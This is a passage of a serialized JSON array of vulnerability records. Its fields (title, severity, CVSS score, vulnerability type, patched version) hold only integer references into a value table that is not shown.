6511,6512,6513,6514,6515,6516,6517],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":364,"url_slug":365,"title":366,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":369},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283}]